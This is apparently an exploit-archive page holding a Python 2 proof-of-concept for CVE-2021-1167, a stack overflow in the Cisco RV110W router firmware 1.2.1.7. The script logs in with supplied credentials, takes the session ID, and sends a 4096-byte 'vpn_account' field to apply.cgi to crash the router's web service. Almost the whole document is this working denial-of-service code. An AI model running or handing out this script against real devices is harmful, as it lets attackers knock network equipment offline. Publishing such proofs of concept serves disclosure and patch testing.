Cisco RV110W 1.2.1.7 - 'vpn_account' Denial of Service (PoC)

2021-01-14
ID: 103907
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date: 2021-01
# Exploit Author: Shizhi He
# Vendor Homepage: https://www.cisco.com/
# Software Link: https://software.cisco.com/download/home/283879340/type/282487380/release/1.2.1.7
# Version: V1.2.1.7
# Tested on: RV110W V1.2.1.7
# CVE : CVE-2021-1167
# References: 
# https://github.com/pwnninja/cisco/blob/main/vpn_client_stackoverflow.md 
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-overflow-WUnUgv4U

#!/usr/bin/env python2

#####
## Cisco RV110W Remote Stack Overflow.
### Tested on version: V1.2.1.7 (maybe useable on other products and versions)


import os
import sys
import re
import urllib
import urllib2
import getopt
import json
import hashlib
import ssl

ssl._create_default_https_context = ssl._create_unverified_context

###
# Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco
# This PoC will crash the target HTTP/HTTPS service
###

#encrypt password
def enc(s):
    l = len(s)
    s += "%02d" % l
    mod = l + 2
    ans = ""
    for i in range(64):
	tmp = i % mod
	ans += s[tmp]
    return hashlib.md5(ans).hexdigest()

if __name__ == "__main__":
    print "Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco"

    IP = sys.argv[1]
    PORT = sys.argv[2]
    USERNAME = sys.argv[3]
    PASSWORD = enc(sys.argv[4])    
    url = 'https://' + IP + ':' + PORT + '/' 

    #get session_id by POST login.cgi
    req = urllib2.Request(url + "login.cgi")
    req.add_header('Origin', url)
    req.add_header('Upgrade-Insecure-Requests', 1)
    req.add_header('Content-Type', 'application/x-www-form-urlencoded')
    req.add_header('User-Agent',
                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
    req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
    req.add_header('Referer', url)
    req.add_header('Accept-Encoding', 'gzip, deflate')
    req.add_header('Accept-Language', 'en-US,en;q=0.9')
    req.add_header('Cookie', 'SessionID=')
    data = {"submit_button": "login",
            "submit_type": "",
            "gui_action": "",
            "wait_time": "0",
            "change_action": "",
            "enc": "1",
            "user": USERNAME,
            "pwd": PASSWORD,
            "sel_lang": "EN"
            }
    r = urllib2.urlopen(req, urllib.urlencode(data))
    resp = r.read()
    login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1]
    session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1]
    print session_id
    
    #trigger stack overflow through POST vpn_account parameter and cause denial of service
    req2 = urllib2.Request(url + "apply.cgi;session_id=" + session_id)
    req2.add_header('Origin', url)
    req2.add_header('Upgrade-Insecure-Requests', 1)
    req2.add_header('Content-Type', 'application/x-www-form-urlencoded')
    req2.add_header('User-Agent',
                    'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
    req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
    req2.add_header('Referer', url)
    req2.add_header('Accept-Encoding', 'gzip, deflate')
    req2.add_header('Accept-Language', 'en-US,en;q=0.9')
    req2.add_header('Cookie', 'SessionID=')
    poc = "a" * 4096
    data_cmd = {
            "gui_action": "Apply",
            "submit_type": "",
            "submit_button": "vpn_client",
            "change_action": "",
            "pptpd_enable": "0",
            "pptpd_localip": "10.0.0.1",
            "pptpd_remoteip": "10.0.0.10-14",
            "pptpd_account": "",
            "vpn_pptpd_account": "1",
            "vpn_account": poc,
            "change_lan_ip": "0",
            "netbios_enable": "0",
            "mppe_disable": "0",
            "importvpnclient": "",
            "browser": "",
            "webpage_end": "1",
            }
    r = urllib2.urlopen(req2, urllib.urlencode(data_cmd))
    resp = r.read()
    print resp
1-4-2 (www01)